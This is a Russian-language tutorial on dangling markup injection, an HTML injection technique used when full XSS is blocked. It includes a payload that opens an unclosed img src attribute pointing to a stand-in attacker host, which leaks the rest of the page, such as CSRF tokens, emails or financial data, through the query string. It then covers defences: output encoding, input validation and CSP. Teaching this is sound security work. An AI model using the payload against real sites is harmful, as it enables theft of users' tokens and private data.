XSS: Внедрение висячей разметки
Что такое висячая разметки
Внедрение висячей разметки — метод захвата данных между доменами в ситуациях, когда полная атака с использованием межсайтовых сценариев невозможна.
Предположим, приложение встраивает данные контролируемые атакующим, в свои ответы небезопасным способом:
<input type="text" name="input" value="КОНТРОЛИРУЕМЫЕ ДАННЫЕ ЗДЕСЬ
Предположим также, что приложение не фильтрует и не экранирует символы >
или .
. Атакующий может использовать следующий синтаксис, чтобы выйти из значения атрибута в кавычках и закрывающего тега, и вернуться в контекст HTML:
">
В этой ситуации атакующий, естественно, попытается выполнить XSS. Но предположим, что обычная XSS-атака невозможна из-за входных фильтров, политики безопасности контента или других препятствий. Здесь всё ещё возможно провести атаку с внедрением висячей разметки, используя полезную нагрузку, подобную следующей:
"><img src='//attacker-website.com?
Полезная нагрузка создаёт тег img
и определяет начало атрибута src
, содержащего URL-адрес на сервере атакующего. Обратите внимание, что полезная нагрузка атакующего не закрывает атрибут src
, который остаётся висящим
. Когда браузер анализирует ответ, он будет смотреть вперёд, пока не встретит одинарную кавычку, закрывающую атрибут. До этого символа, всё будет рассматриваться как часть URL-адреса и будет отправлено на сервер злоумышленника в строке запроса URL-адреса. Любые не буквенно-цифровые символы, включая символ новой строки, будут закодированы в URL-адресе.
Следствием атаки является то, что злоумышленник может перехватить часть ответа приложения после точки внедрения, которая может содержать конфиденциальные данные. В зависимости от функциональности приложения это могут быть CSRF токены, сообщения электронной почты или финансовые данные.
Как предотвратить атаки с висячей разметкой
Предотвратить атаки с висячей разметкой можно используя те же самые общие средства защиты для предотвращения межсайтовых сценариев, кодируя данные на выходе и проверяя данные на входе.
Вы также можете смягчить некоторые атаки с висячей разметкой, используя политику безопасности контента (CSP). Например, вы можете предотвратить некоторые (но не все) атаки, используя политику, не позволяющую тегам, таким как img
, загружать внешние ресурсы.
Примечание: Браузер Chrome решил противостоять атакам с висячей разметкой, не позволяя тегам, таким как img
, определять URL-адреса, содержащие необработанные символы, такие как угловые скобки и символы новой строки. Это предотвратит атаки, поскольку данные, которые в противном случае были бы захвачены, обычно содержат эти необработанные символы, поэтому атака блокируется.